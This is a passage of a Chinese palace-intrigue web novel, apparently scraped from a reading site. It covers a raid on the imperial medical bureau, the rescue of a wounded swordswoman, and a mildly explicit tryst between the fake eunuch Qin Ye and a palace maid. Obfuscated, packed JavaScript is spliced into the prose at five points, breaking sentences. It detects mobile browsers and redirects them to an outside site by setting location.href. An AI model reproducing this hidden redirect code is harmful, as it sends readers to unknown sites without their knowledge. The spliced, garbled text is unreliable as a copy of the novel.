“千真万确。”秦烨语气坚定，“而且，赵马康最近频繁出入几个勋贵府邸，这些人都与先帝有旧。” “原来如此。”上官瑾站起身，在殿内来回踱步，“那你觉得，该如何处置？” 第八十六章 全部诛灭 秦烨眼中闪过一丝狠厉：“既然敢刺杀陛下，那就该全部诛灭。留着他们，只会后患无穷。” “朕也是这么想的。”上官瑾停下脚步，“幸霆！” 殿外传来一阵铿锵的脚步声，禁军统领幸霆大步走了进来。他身着铠甲，腰佩长剑，一脸肃然。 “明日一早，剿灭御医署。”上官瑾下令道，声音中带着不容置疑的威严。 “是！”幸霆抱拳领命。 “秦烨会跟你一起去。”上官瑾补充道。 幸霆愣了一下，有些不解地看向秦烨。【一个文官，去剿灭御医署做什么？】 似乎看出了幸霆的疑惑，上官瑾解释道：“御医署擅长用毒，秦烨懂得辨毒解毒，可以保护将士们的安全。” 幸霆这才恍然，连忙向秦烨抱拳：“多谢秦大人相助。” “统领客气了。”秦烨回礼道。 等幸霆退下后，殿内又恢复了安静。烛光摇曳，在墙上投下跳动的影子。 上官瑾看向秦烨：“你也退下吧。” “为何？”秦烨挑眉，脸上露出促狭的笑容。 “朕要沐浴。”上官瑾俏脸微红，语气中带着几分羞恼。 “那又如何？”秦烨笑道，“咱们之间，还需要这般见外吗？” “你！”上官瑾羞恼地跺了跺脚，“快出去！” “好好好，我这就走。”秦烨笑着退出殿外，身后传来一声轻哼。 站在殿外的夜色中，秦烨收起了笑容。远处传来几声更漏，提醒着时间的流逝。 明日的行动，不能掉以轻心。御医署虽然高手不多，但最擅长的就是用毒。一不小心，就会中了他们的圈套。 回到住处，秦烨没有休息，而是开始翻找各种药材。他要配制一些解毒丹，明天带给禁军将士们防身。 夜色渐深，烛光依旧。秦烨专注地研磨药材，调配药方。偶尔有风吹进窗户，带来远处更夫的打更声。 “咚——咚——咚——” 三更已过，秦烨终于完成了解毒丹的配制。看着桌上整整齐齐摆放的药丸，他长出一口气。 收拾好药材，秦烨躺在床上，却没有立即入睡。他闭着眼睛，在脑中推演着明天可能遇到的各种情况。 御医署的人虽然武功不高，但用毒的手段诡异莫测。稍有不慎，就会中了他们的圈套。必须要想好应对之策。 夜风吹动窗纱，发出轻微的响动。秦烨翻了个身，强迫自己入睡。明天的行动，需要充足的精力。 晨光熹微，大周皇城内一片肃杀。 寒风呼啸，卷起地上的落叶，在空中打着旋儿。禁军将士们个个神情凝重，手中的兵器闪着寒光。御医署门前的青石板上，倒映着他们严阵以待的身影。 秦烨站在御医署外，目光如刀般锐利。他身着月白色官服，腰间玉佩随风轻晃，发出清脆的声响。虽是一介太监，但周身却透着一股不容忽视的威严。 “这赵马康，真是好大的胆子。”秦烨眯起眼睛，声音中带着一丝冷意。 幸霆立在一旁，压低声音道：“秦公公，属下已经按您的吩咐，派人将御医署团团围住。就连一只蚊子也休想飞出去。” “很好。”秦烨点点头，目光扫过四周严阵以待的禁军。这些都是精锐，但面对御医署这群老谋深算之辈，还需多加小心。 御医署内一片寂静，仿佛一头蛰伏的野兽。秦烨知道，这种平静下往往暗藏杀机。 他从怀中取出一个青花瓷瓶，递给幸霆。瓷瓶通体晶莹，上面绘着繁复的花纹，一看就不是凡品。 “这是解毒丹，让将士们都服下。”秦烨淡淡道，“御医署中人精通药理，难保不会使些下作手段。” 幸霆接过瓷瓶，手掌微微一沉。他打开瓶塞，一股清香飘散开来。 “秦公公果然考虑周到。”幸霆由衷赞叹。 很快，禁军将士们都服下了解毒丹。药力在体内流转，一股暖流涌遍全身。 秦烨站在队伍前方，目光如炬地盯着御医署紧闭的大门。这赵马康胆敢谋害皇上，今日必要将其拿下。 “列阵！”幸霆一声令下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498104|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 禁军迅速排开，盾牌手在前，**手居中，弓箭手殿后，形成一个攻守兼备的阵型。寒光闪闪的刀枪剑戟，在晨光中泛着森然的光芒。 就在禁军准备强攻时，御医署内突然飞出数个药包。 “小心！”秦烨厉喝。 药包在空中炸开，黄色粉末四散飘荡。空气中弥漫着一股刺鼻的气味。几名禁军将士下意识地屏住呼吸，但见其他人毫无异状，这才想起服下的解毒丹。 “给我撞开大门！”幸霆一声令下。 轰隆一声，御医署的大门应声而碎。木屑纷飞，烟尘四起。 禁军如潮水般涌入，御医署内顿时喊杀声四起。那些平日趾高气扬的太医们此刻如丧家之犬，四处逃窜。有人想要反抗，却被训练有素的禁军一一制服。 秦烨不紧不慢地跟在大军后面入内。御医署内的摆设他再熟悉不过，每一处转角，每一间药房，他都了如指掌。 “搜！一间一间地搜！”幸霆大声下令。 禁军分成数队，开始地毯式搜索。药房、病房、库房，所有房间都被翻了个底朝天。但诡异的是，却始终不见赵马康的踪影。 “秦公公，整个御医署都搜遍了，没有发现赵马康。”一名校尉气喘吁吁地前来禀报。 秦烨眉头微皱，这赵马康不可能凭空消失。他快步走向赵马康平日所在的药房，仔细打量着四周。 药房内一片狼藉，药柜东倒西歪，药材撒了一地。空气中弥漫着各种药材混杂的气味。 忽然，秦烨察觉到一丝异样的气息波动。他的目光落在角落里的一处药架上，那里的灰尘分布似乎有些不自然。 “在这里。”秦烨来到药架前，手指轻轻摸索。 咔嚓一声，暗门显现。 幸霆见状，立刻拔出长刀戒备。刀锋在阳光下泛着寒光。 秦烨试着推门，却发现暗门被人从里面堵住了。他冷笑一声，一脚又一脚地踹在暗门上，沉闷的撞击声在寂静的夜色中格外刺耳。每一脚都蕴含着惊人的力量，暗门表面的木屑不断飞溅。 第八十七章 赵马康逃了 幸霆站在一旁，眼中闪过惊异之色。身为禁军将领，他自问也没有这般强横的力道。看着秦烨的动作，他不禁暗自揣测这位太监总管的**。 “你确定赵马康就在里面？”幸霆压低声音问道。 秦烨没有回答，只是继续踹门。汗水顺着他的额头滑落，在月光下泛着冷光。 “轰！” 随着最后一脚落下，暗门轰然倒地，激起漫天尘埃。灰尘在月光下飘散，如同一层薄纱笼罩着密室入口。 秦烨与幸霆快步冲入密室，目光迅速扫过四周。密室内摆放着各种医书和药材，角落里还有一张简陋的木床，但却不见赵马康的踪影。 “这些药材……”幸霆拿起一个瓷瓶，打开闻了闻，“有些我从未见过。” 秦烨正要说话，一股焦糊味突然钻入鼻腔。他眉头一皱，视线落在角落的火盆上。火盆中还在燃烧着纸张，但已所剩无几。 “该死！”秦烨快步上前，从火盆中捡起一片未完全燃尽的纸片。纸片一角赫然写着八个大字：“苍天已死，我主为皇！” “好大的胆子！”秦烨眼神一冷，指节因用力而发白。 幸霆凑过来看了一眼，面色凝重道：“这是要**啊。赵马康身为御医署院判，竟敢……” “他不简单。”秦烨打断道，目光扫视着密室的每个角落，“继续搜，看看还有什么线索。” 火盆中的纸张还未完全燃尽，说明赵马康离开不久。秦烨仔细搜寻密室的每个角落，寻找可能存在的密道。药柜被推开，地砖被敲击，但一番搜索下来，却一无所获。 “这些药材……”幸霆突然开口，“有些是制毒之物。” 秦烨走过去，拿起一个瓷瓶仔细端详：“你懂药理？” “略知一二。”幸霆苦笑，“我父亲曾是名医，小时候耳濡目染，多少懂些。这些药材大多有毒，寻常医馆根本不会存放。” “他应该还在御医署内。”秦烨对幸霆说道，“掘地三尺也要找到他。” 幸霆点头应下，正要转身，突然发现角落里有个闪亮的物件。他弯腰捡起，发现是一枚令牌。 “秦公公，你看这个。” 秦烨接过幸霆递来的令牌，瞳孔猛地一缩。这令牌与在端木正家中搜到的那枚一模一样，上面同样刻着那首诗： “龙潜海角恐惊天，暂且偷闲跃在渊。” “秦公公认得这令牌？”幸霆见秦烨神色异样，连忙问道。 秦烨摇头：“不认得。” 他说谎了。这令牌他再熟悉不过，当年在江湖上闯荡时就曾见过。只是没想到，事情会牵扯到那个组织。 “这是青云教的信物。”幸霆解释道，“青云教是江湖上一个神秘组织，其成员皆有反心，自比潜龙。” “原来是反贼组织。”秦烨眯起眼睛，心中却在盘算着什么。 幸霆点头：“不错。说来惭愧，我父亲年轻时也曾被青云教邀请加入，但他一心向着朝廷，便拒绝了。” 就在这时，外面传来禁军的禀报声：“大人，发现了一些巫疆蛊毒！” 幸霆脸色大变。御医署是调养龙体之地，竟然藏有如此剧毒之物！ “带我去看看。”秦烨沉声道。 禁军带着他们来到另一间密室，里面摆放着数个玉盒。打开后，只见里面爬满了各种形状怪异的虫子，有的通体漆黑，有的浑身长满倒刺。 “这些都是剧毒之物。”幸霆面色凝重，“若是放出来，后果不堪设想。” 秦烨仔细检查了玉盒，发现每个盒子上都刻着细密的符文，显然是用来困住蛊虫的。 几番搜查无果后，秦烨与幸霆只得暂时放弃，准备前往大殿向女帝禀报。 然而上官瑾此时不见外人，秦烨只得让幸霆去汇报，自己则离开皇宫，准备取回在端木正家中搜到的信件。 夜色已深，街道上空无一人。秦烨走在石板路上，脚步声在寂静中格外清晰。他索性前往自己的府邸，这座原本的秦府经过重新装潢，焕然一新。 推开府门，一股清冷的气息扑面而来。秦烨正在庭院中踱步，突然，一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498105|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑影从墙头跌落。夜色中只见一抹青衣在空中划过优美的弧线，却带着几分狼狈。 秦烨眼疾手快，几个箭步冲上前，将那道身影稳稳接住。入手柔软，一股淡淡的幽香传来，像是山间初绽的野花香气。 “放开我！”怀中的女子挣扎着喝道，声音清冷中带着几分虚弱。 秦烨低头一看，是个容貌清丽的女子，约莫十**岁的年纪。她眉目如画，肤若凝脂，只是此刻面色苍白如纸，额角还渗着细密的冷汗。 “你伤得不轻，别乱动。”秦烨皱眉，注意到她胸前的衣衫已被鲜血浸透。 女子挣扎得更厉害了：“少管闲事！你鬼鬼祟祟躲在这里，一看就不是什么好人！” “这可是我家，我在自己家里溜达，有什么不对？”秦烨忍不住笑了，这姑娘倒是挺有意思。 “呵。”女子冷笑一声，眼中闪过一丝讥讽，“富贵人家出行，哪有独来独往的？你分明就是个小贼！” 话音未落，她突然抽出一柄长剑，直指秦烨咽喉。剑尖在月光下泛着寒光，带着凌厉的杀意。 “既然撞见你这个贼人，那就别怪我不客气了！” “喂喂，我好心接住你，你就这么报答救命恩人？”秦烨无奈地摇头，“再说了，你现在这样能打得过我吗？” 女子不由分说，长剑疾刺而来。剑势虽快，却明显带着几分虚浮。 秦烨轻松侧身避过，顺势扣住她的手腕。只是轻轻一握，女子便痛呼一声，长剑坠地，发出清脆的声响。 “你……你怎会如此厉害？”女子震惊地看着他，眼中满是不可思议。 秦烨没有理会她的惊讶，目光落在她胸前渗血的伤口上：“伤得不轻啊，需要及时处理。再这样下去，你怕是撑不了多久。” “不用你管！”女子倔强地说，“我叫沈飞雪，不是什么弱女子！” 话音未落，她身子一软，险些栽倒。脸色更是白得吓人，连嘴唇都失去了血色。 秦烨连忙将她抱起：“嘴硬什么，都快站不稳了。” 第八十八章 救下沈飞雪 沈飞雪想要挣扎，却已经没有力气。她只能任由秦烨抱着，穿过庭院的回廊。月光透过回廊的雕花窗棂，在地上投下斑驳的影子。 “这该往哪走？”秦烨环顾四周，有些迷茫。眼前的建筑布局复杂，一时间竟分不清方向。 “哼，果然是贼人，连路都不认得。”沈飞雪虚弱地嘲讽道，声音却已经微不可闻。 “我这宅子太大，一时半会还真记不清。”秦烨随口应道，“你要是不信，等你好了，我让管家带你转转。” 找了半天，总算找到一间空房。屋内陈设简单，一张床榻，一张案几，倒也干净整洁。秦烨将沈飞雪放在床上，准备为她处理伤口。 “你……你要做什么？”见秦烨伸手解她衣衫，沈飞雪慌了，苍白的脸上浮现出一抹红晕。 “别乱想，我是要给你疗伤。”秦烨正色道，“你失血过多，再不处理会有危险。” 沈飞雪还想反抗，但浑身无力，只能红着脸任由秦烨动作。她紧闭双眼，睫毛微微颤动，显然十分紧张。 秦烨取出银针，动作娴熟地封住她周身要穴，防止继续失血。针尖所至，沈飞雪只觉一阵酥麻，但确实止住了血。 “你……你懂医术？”她惊讶地问。 “略懂一二。”秦烨专注地为她处理伤口，“别说话，省点力气。” 沈飞雪不再作声，只是偷偷打量着秦烨。他的动作很轻柔，完全不像个粗鲁的贼人。而且这一手医术，也不是一般人能有的。 “别乱动，我去取些金疮药。”秦烨叮嘱一声，转身离开。 刚走到院中，就听下人禀报：“老爷，门外有位叫武勇的，说是您朋友。” “武勇？”秦烨眉头微皱，“让他进来。” 不多时，一个魁梧男子大步走来，对秦烨深深一礼：“恩公！” “不必多礼。”秦烨摆手问道，“你那小师妹可来了？” “小师妹？”武勇一愣，“沈飞雪还没到吗？我让她先来拜访恩公，怎么还没到？” 秦烨笑了：“来是来了，不过受了伤，我正给她急救呢。” “受伤了？”武勇脸色一变，“是不是又遇到那些人了？” “那些人？”秦烨有些疑惑，“什么人？” 武勇欲言又止：“这……恩公，小师妹的事情比较复杂。她这次来，其实是想请您帮忙的。” “帮忙？” “是啊，小师妹她……” “还是算了。”秦烨拦住他，“现在不是说这个的时候，等她伤好了再说吧。你先在客房休息，我去给她上药。” 武勇恍然，连忙退开。 秦烨回到房中，沈飞雪虚弱地说：“快……快解开我的穴道。” “别急，让我先把伤口处理好。” 秦烨取出金疮药，手指沾着药，一点一点涂抹在沈飞雪的伤口上。药粉微凉，但沈飞雪却觉得脸上发烫，这种亲密的接触让她心跳加快，一种异样的感觉在心头蔓延。 “你……你能不能快一点？”沈飞雪忍不住开口，声音有些颤抖。她下意识地想要躲开，却又担心扯动伤口。 秦烨挑了挑眉，手上的动作依旧不紧不慢：“伤口要仔细处理，急什么？”他的目光专注地落在那道狰狞的伤痕上，眉头微微蹙起。 屋内的烛火摇曳，在墙上投下晃动的影子。沈飞雪能清晰地感受到秦烨的呼吸，那温热的气息拂过她的脸颊，让她心神不宁。 “你分明就是……就是想占我便宜！”沈飞雪咬着嘴唇说道，眼角微微泛红。 “得了吧。”秦烨轻笑一声，手上的动作顿了顿，“要是我真想占你便宜，还用这么麻烦？直接把你按床上不就完事了。” 这话一出，沈飞雪的脸更红了，她恼怒地瞪着秦烨：“你……你这登徒子！” 秦烨正要说什么，门外突然传来一个焦急的声音：“师妹，你没事吧？” 听到这熟悉的声音，沈飞雪眼前一亮：“师兄！”她下意识地想要起身，却被秦烨按住了肩膀。 “别乱动。”秦烨的语气带着几分无奈，“伤口还没处理完。” 沈飞雪转头看向秦烨，狐疑道：“你真是这儿的主人？”她的目光在房间内扫视，精致的家具，考究的摆设，处处透着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504723|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不凡。 “我骗你做什么？”秦烨继续专注于上药，“别乱动，要不要叫你师兄进来看看？” “不要！”沈飞雪慌忙摇头，脸上飞快闪过一丝慌乱。 秦烨看在眼里，却没有多说什么。等他包扎完伤口，才看了眼沈飞雪满是污渍的衣裳，皱眉道：“这衣服不能穿了。” “那要我光着不成？”沈飞雪没好气地说，她低头看了看自己的衣服，确实已经破损得不成样子。 秦烨朝外喊道：“武勇，去拿套干净衣服来。” “是！”门外传来应答声。 不一会儿，武勇就送来了一套秦烨的衣物。沈飞雪看着那男装，一脸嫌弃：“这是你的衣服？我才不要穿男人的衣服。” “爱穿不穿。”秦烨把衣服往她怀里一塞，“要么光着。”说完，他转身走向门口，“我出去，你换吧。” 沈飞雪嘟着嘴，最后还是不情不愿地换上了。当她换好衣服，正准备开门时，突然听到外面的对话。 “秦公子，我师妹她……”武勇的声音充满担忧。 “放心，伤势不算太重。”秦烨的声音传来，“不过能从高手手下逃脱，你这个师妹倒是有几分本事。” 沈飞雪推开门，正好看到两人站在廊下说话。月光洒在秦烨的侧脸上，勾勒出一道清冷的轮廓。 秦烨转头看向她，目光微微一怔。这女子穿上男装非但不显突兀，反而别有一番风韵。宽大的衣袖遮掩不住她纤细的手腕，束起的长发更显得英气逼人。 “还挺好看。”他由衷地说道。 沈飞雪哼了一声：“那是我人长得好看。”她扬起下巴，却在对上秦烨的目光时，又迅速移开视线。 武勇关切地问：“师妹，伤得重不重？” “还好。”沈飞雪轻声道，她看了看自己的手臂，“多亏秦公子及时相救。” “是谁伤的你？”武勇追问，眼中闪过一丝担忧。 沈飞雪沉默片刻，缓缓道：“兵器录第一，芮容霄。” “什么？”秦烨和武勇同时惊呼。夜色中，两人的表情都变得凝重起来。 第八十九章 受伤原因 “就是那个杀害你们师父的人？”秦烨皱眉问道。他想起之前听说过的传闻，这个芮容霄在江湖上可是赫赫有名的人物。 沈飞雪点点头：“正是他。”她的声音有些发涩，“这些年来，我和师兄一直在追查师父的死因。” “你能从他手下逃脱，已经很不容易了。”秦烨说道。他注意到沈飞雪说起这件事时，眼中闪过的痛苦。 沈飞雪苦笑：“我只是被他一道剑气所伤，他根本没把我放在眼里。那种实力……简直不是人力所能及的。” 秦烨和武勇对视一眼，都从对方眼中看到了凝重。仅仅一道剑气就让沈飞雪重伤，这芮容霄的实力未免太过恐怖。 “能说说具体发生了什么吗？”秦烨问道。他示意两人进屋，“外面风大，进去说吧。” 回到屋内，沈飞雪坐在椅子上，目光落在烛火上：“我得到师兄的消息后就往汴城赶，途中发现了芮容霄的踪迹。本想跟踪打探一下，却发现他竟然在和青云教的人来往。” “青云教？”秦烨眉头一皱，“他不是向来独来独往吗？” “我也很意外。”沈飞雪说，“可惜我功力不够，很快就被他发现了。他随手一道剑气，我就身负重伤。”说到这里，她的手不自觉地按在伤口处。 “那些青云教的人呢？”武勇担忧地问。 “他们一直追着我，但到了汴城附近就停下了。”沈飞雪说，“不知为何，他们似乎不敢进汴城。” 武勇松了口气，他最担心的就是连累秦烨。毕竟秦烨对他们兄妹已经够照顾了。 秦烨若有所思：“事情越来越复杂了。芮容霄为什么要杀你们师父？这其中必有隐情。” “应该是为了紫电剑。”沈飞雪解释道。 “紫电剑？”秦烨疑惑，“那不过是把普通的名剑，对芮容霄这种高手来说，应该算不得什么宝物吧？” 沈飞雪摇摇头：“事情没那么简单。紫电剑的来历，恐怕比我们想象的要复杂得多……”她的声音渐渐低了下去，似乎有什么难言之隐。 秦烨看着她欲言又止的模样，心中了然。这紫电剑背后，定然藏着不可告人的秘密。 “你若是不便说，那便不必说了。”秦烨轻声道。 沈飞雪神色凝重地点点头，“秦公子明白就好，这件事关系重大，知道的人越少越好。”她的声音很轻，却带着不容置疑的坚定。 “既如此，我先告辞了。”秦烨拱手，“你们就在这里安心住下，有什么需要尽管吩咐下人。” 转身离去时，他听到身后传来一声几不可闻的叹息。秦烨并未回头，他心知肚明，沈飞雪之所以不愿多说，无非是因为自己这个外人在场。初次见面，对方不够信任自己也在情理之中。 夜色渐深，宫中灯火次第亮起。 秦烨坐在承明殿内，手中把玩着那封未看完的信件。烛光在纸面上跳动，字迹忽明忽暗。不远处，女帝上官瑾正在批阅奏章，笔尖沙沙作响。 展开信纸，秦烨继续往下读去。端木正在信中记载的内容，让他眉头渐渐蹙起。 “先帝驾崩来得太突然了……”信中写道。 原来当年的皇位更迭，竟然还有这样的隐情。先皇原本是有储君的，却突然暴毙。之后上官煜监国，眼看皇位就要到手。谁知先帝临终前一纸诏书，改立宁王继位。而这位宁王，正是眼前的女帝上官瑾。 秦烨抬眼打量着案前的人影。烛光映照下，上官瑾的侧颜格外清冷。她专注地批阅着奏章，纤长的手指执笔有力，一笔一划间尽显帝王威仪。 这位看似端庄威严的女帝，年少时能够在夺嫡之争中胜出，手段定然不简单。不过这些往事，与他秦烨又有什么关系呢？ “在看什么？”上官瑾突然开口，目光依旧停留在奏章上，“看得这么入神。” “哦，一封情书。”秦烨随口应道，将信件叠好收入怀中。 上官瑾的笔尖顿了顿：“情书？谁会给你寄情书？” “这可说不准。”秦烨嘴角微扬，“本公公在宫里可是万人迷，仰慕我的宫女数不胜数呢。” “是吗？”上官瑾放下朱笔，终于抬眼看向他，“那秦公公可有看中的对食人选？” “这个嘛……”秦烨装模作样地思索片刻，“还真有几个不错的。” “随你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504724|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便。”上官瑾淡淡道。殿内一时陷入沉默，只有烛火偶尔发出轻微的噼啪声。 突然，她话锋一转：“柔木氏公主的婚期快到了。” “哦？这么快？”秦烨眼前一亮，心跳不自觉地加快了几分。 “朕让你早点儿准备好。”上官瑾意味深长地看着他，目光中带着几分戏谑，“北疆女子可不比中原女子温婉，你可别到时候……力不从心。” “呵呵。”秦烨自信满满，“区区一个柔木氏公主而已，就算再来十个八个胡姬，我也能应付自如。” “大话说得倒是挺满。”上官瑾不以为然地白了他一眼，继续批阅奏章。 秦烨没有接话，看到上官瑾头也不抬的批阅奏折，心想不便多做打扰，便起身告退。 出了承明殿，秦烨没急着回去。想了想，转身独自朝着长春宫走去。 秦烨站在长春宫外，夜风微凉，吹散了几分热气。他抬头望向宫殿的琉璃瓦顶，月光洒在上面，泛着幽幽的光晕。 皇后司马玉华虽已解毒，但他总觉得心头不安。这毒来得蹊跷，若非自己及时发现，后果不堪设想。想到这，他不由加快了脚步。 宫道上忽然传来一阵轻盈的脚步声，抬眼望去，是雨竹。 只是今日的雨竹，与往日大不相同。她低着头，步履匆匆，仿佛要刻意避开他。那双往日灵动的眼眸中，此刻却带着一丝说不清道不明的情绪。 “雨竹。”秦烨唤住她。 雨竹停下脚步，却没有转身：“秦公公有事？” 这声“秦公公”叫得生疏，秦烨心头一紧：“你这是怎么了？” “没什么。”雨竹的声音很轻，带着几分疏离，“我还有事，先走了。” 秦烨伸手拉住她的手腕：“到底怎么回事？” 雨竹猛地抽回手，眼中隐约含着泪水：“放开！” 四下无人，秦烨索性将她拉到回廊的阴影处：“说吧，是不是有人欺负你了？” “欺负？”雨竹冷笑一声，“是啊，有人欺负我，欺负我太傻，居然相信一个太监能真心待我。” 秦烨一愣：“你这话什么意思？” 第九十章 雨竹吃醋 “什么意思？”雨竹咬着嘴唇，“你和承明殿的梅儿结为对食的事，整个后宫都传遍了，你说是什么意思？” “谁说的？”秦烨皱眉。 “重要吗？”雨竹抬头，月光下，她的眼中闪烁着泪光，“我真傻，居然会以为……” 话未说完，她转身就要离开。 秦烨一把将她搂入怀中：“傻丫头，你连解释的机会都不给我？” “放开我！”雨竹挣扎着，“你骗我！你明明说过……” “我说过什么，我就会做到什么。”秦烨的声音很轻，却带着不容置疑的坚定，“我喜欢的人是你，只有你。” 雨竹的挣扎渐渐停止：“真的？” “当然是真的。”秦烨轻抚她的后背，“要不要去凤仪园走走？我给你解释。” 雨竹犹豫片刻，终于点了点头。 凤仪园里，花香四溢。月光如水般倾泻而下，为眼前的一切镀上一层银辉。 “那些都是谣言。”秦烨牵着雨竹的手，在花间漫步，“梅儿确实来找过我，但被我拒绝了。” “为什么拒绝？”雨竹小声问。 秦烨停下脚步，转身看着她：“因为我心里已经有人了。” 雨竹低下头，脸颊微红：“是……是谁？” “你说呢？”秦烨笑着将她拉进一处僻静的凉亭。 凉亭四周种满了月季，花香浓郁。远处的假山投下阴影，将这一方天地笼罩得更显私密。 “我……”雨竹话还没说完，就被秦烨吻住了唇。 这个吻来得突然，却又似水到渠成。雨竹只觉得浑身发软，整个人都瘫在了秦烨怀里。 良久，两人才分开。雨竹喘着气，粉拳轻捶他的胸口：“你……你怎么这样？” “因为我想这样做很久了。”秦烨将她抱起，轻轻放在石桌上。 “这里会不会有人来？”雨竹紧张地四处张望。 “放心，这个时辰，不会有人来的。” 秦烨的吻如雨点般落下，雨竹觉得自己仿佛要融化在这个男人的怀抱里。 衣衫渐渐褪去，月光下，她白皙的肌肤泛着莹润的光泽。 突然，她感觉到了什么，惊讶地看着秦烨：“你……你不是……” 秦烨没有解释，用实际行动回答了她的疑问。 一个时辰后。 雨竹靠在秦烨怀里，浑身酥软。她还沉浸在方才的欢愉中，连动一下手指的力气都没有了。 “你真的不是太监？”她小声问。 “不是。”秦烨亲吻她的发丝，“我是被人陷害，才进宫当太监的。” “那你……” “具体的事情以后再告诉你。”秦烨打断她的话，“现在，让我好好抱抱你。” 雨竹红着脸，任由他搂着。夜风轻拂，带来阵阵花香，她觉得自己像是在做梦。 “以后别再胡思乱想了。”秦烨说，“我的心里只有你。” “嗯。”雨竹轻声应着，心中满是甜蜜。 远处传来更夫打更的声音，已是三更天了。 “该回去了。”秦烨帮她整理好衣衫，“我送你。” “不用了。”雨竹摇头，“被人看到不好。” “那你小心些。”秦烨依依不舍地放开她。 雨竹刚要转身离开，又被秦烨拉住：“等等。” “怎么了？” “你还没答应我一件事。” “什么事？” “和我结为对食。”秦烨认真地说。 雨竹愣了一下，随即露出甜美的笑容：“好。” 带着雨竹回到自己的住处，秦烨搂着她躺在床上，手中把玩着那枚玉器，眼中隐藏不住的笑意。晨光透过窗棂洒落，在玉器表面折射出莹润光泽。 这东西他早就准备好了，只是没想到会用在雨竹身上。回想起刚才的旖旎，他的呼吸不自觉地加重几分。 “这是……”雨竹看到那玉质**的瞬间，俏脸瞬间飞上两朵红云。她下意识地拉高被子挡住羞红的脸。 “你随身带着这个做什么？”她声音轻柔，带着几分羞涩，目光不敢直视秦烨。 秦烨将玉器在掌心转了一圈，嘴角微扬：“以备不时之需。” 雨竹咬了咬唇，目光在那玉器上流连，忽然开口：“这东西……以后只能我用。”她顿了顿，声音更加细若蚊蝇，“其他人碰过的，我不要。” 秦烨心头一暖，将玉器递到她手中：“那你收着。”玉器表面还带着他的体温。 “不行！”雨竹连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504725|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙推拒，白皙的脸颊染上更深的红晕，“万一被人看到……多难为情。” 秦烨轻笑，将玉器收入袖中。他伸手轻抚雨竹的发丝，“放心，我会替你好好保管的。” 殿外传来急促的脚步声，雨竹慌忙整理衣衫，悄悄从后门退去。秦烨目送她离开，这才起身出屋迎接来人。 “秦公公，陛下召见。”小太监气喘吁吁地说道。 秦烨点点头，整理了一下衣冠，大步向承明殿走去。 翌日清晨，整个大周王朝都笼罩在一片喜庆氛围中。红绸飘扬，锣鼓喧天，街道两旁挤满了看热闹的百姓。 皇帝上官瑾与柔木氏公主的大婚，牵动着两国邦交。这场婚事的重要性不言而喻。一旦成功，不仅能巩固两国关系，更能为上官瑾的统治增添几分合法性。 秦烨穿过宫道，向礼宾院行去。清晨的露水打湿了他的靴子，带来丝丝凉意。女帝已经先一步抵达，就等百官到齐，举行朝拜仪式，迎接柔木氏公主入宫完婚。 想到今晚的洞房花烛，秦烨心头火热。他的脚步不自觉地加快了几分。 表面上这是女帝娶亲，但上官瑾根本没那个能力，到头来还得是他来圆房。这让秦烨如何能不期待？公主的美名早已传遍两国，今晚终于得偿所愿。 礼宾院外，秦烨看到女帝上官瑾正独自而立，神色冰冷。晨风吹动她的衣袍，更添几分孤寂。 四下望去，本该到场的百官一个都不见。空旷的广场上只有零星几个太监宫女在忙碌。 “陛下，出什么事了？”秦烨快步上前，注意到上官瑾眼底的疲惫。 “他们去迎上官煜了。”上官瑾语气中带着几分失落，纤细的手指无意识地摩挲着玉玺。 